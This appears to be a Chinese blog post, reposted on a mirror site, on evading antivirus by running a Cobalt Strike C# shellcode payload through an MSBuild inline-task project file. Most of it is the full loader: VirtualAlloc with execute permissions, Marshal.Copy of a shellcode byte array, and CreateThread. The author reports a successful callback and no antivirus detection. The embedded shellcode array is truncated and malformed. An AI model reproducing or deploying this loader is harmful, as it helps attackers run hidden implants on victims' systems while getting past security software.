zoukankan      html  css  js  c++  java
  • payload免杀之msbuild利用

    0x00 前言

    红队必备技巧免杀之一,现在主要是.net4.0下实现。待我过几天有空实现一下.net2.0。

    0x01 免杀过程

    利用cs生成c#的payload,如图所示:

    将paypload内容填充到里面,

    <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
      <!-- This inline task executes x64 shellcode. -->
      <!-- C:WindowsMicrosoft.NETFramework64v4.0.30319msbuild.exe SimpleTasks.csproj -->
      <!-- Save This File And Execute The Above Command -->
      <!-- Author: Casey Smith, Twitter: @subTee --> 
      <!-- License: BSD 3-Clause -->
      <Target Name="Hello">
        <ClassExample />
      </Target>
      <UsingTask
        TaskName="ClassExample"
        TaskFactory="CodeTaskFactory"
        AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
        <Task>
        
          <Code Type="Class" Language="cs">
          <![CDATA[
            using System;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample :  Task, ITask
            {         
              private static UInt32 MEM_COMMIT = 0x1000;          
              private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
              [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
              [DllImport("kernel32")]
                private static extern IntPtr CreateThread(            
                UInt32 lpThreadAttributes,
                UInt32 dwStackSize,
                UInt32 lpStartAddress,
                IntPtr param,
                UInt32 dwCreationFlags,
                ref UInt32 lpThreadId           
                );
              [DllImport("kernel32")]
                private static extern UInt32 WaitForSingleObject(           
                IntPtr hHandle,
                UInt32 dwMilliseconds
                );          
              public override bool Execute()
              {
                byte[] shellcode = new byte[891] { 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc};
    
                  
                  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                  Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                  IntPtr hThread = IntPtr.Zero;
                  UInt32 threadId = 0;
                  IntPtr pinfo = IntPtr.Zero;
                  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
                  return true;
              } 
            }     
          ]]>
          </Code>
        </Task>
      </UsingTask>
    </Project>

    直接利用msbuild执行xml即可

     立即看到可以上线

     xxx和xxx都没有查杀出来,也没反应

    0x03 参考文献

    https://www.jianshu.com/p/55de80d1fb95

    https://www.anquanke.com/post/id/84597

    https://github.com/3gstudent/msbuild-inline-task

  • 相关阅读:
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    jQuery火箭图标返回顶部代码
    关于http
    事件循环机制
    关于常问的输入URL到看到页面发生的全过程
    浅拷贝
    基础知识链接
  • 原文地址:https://www.cnblogs.com/whoami101/p/11553027.html
Copyright © 2011-2022 走看看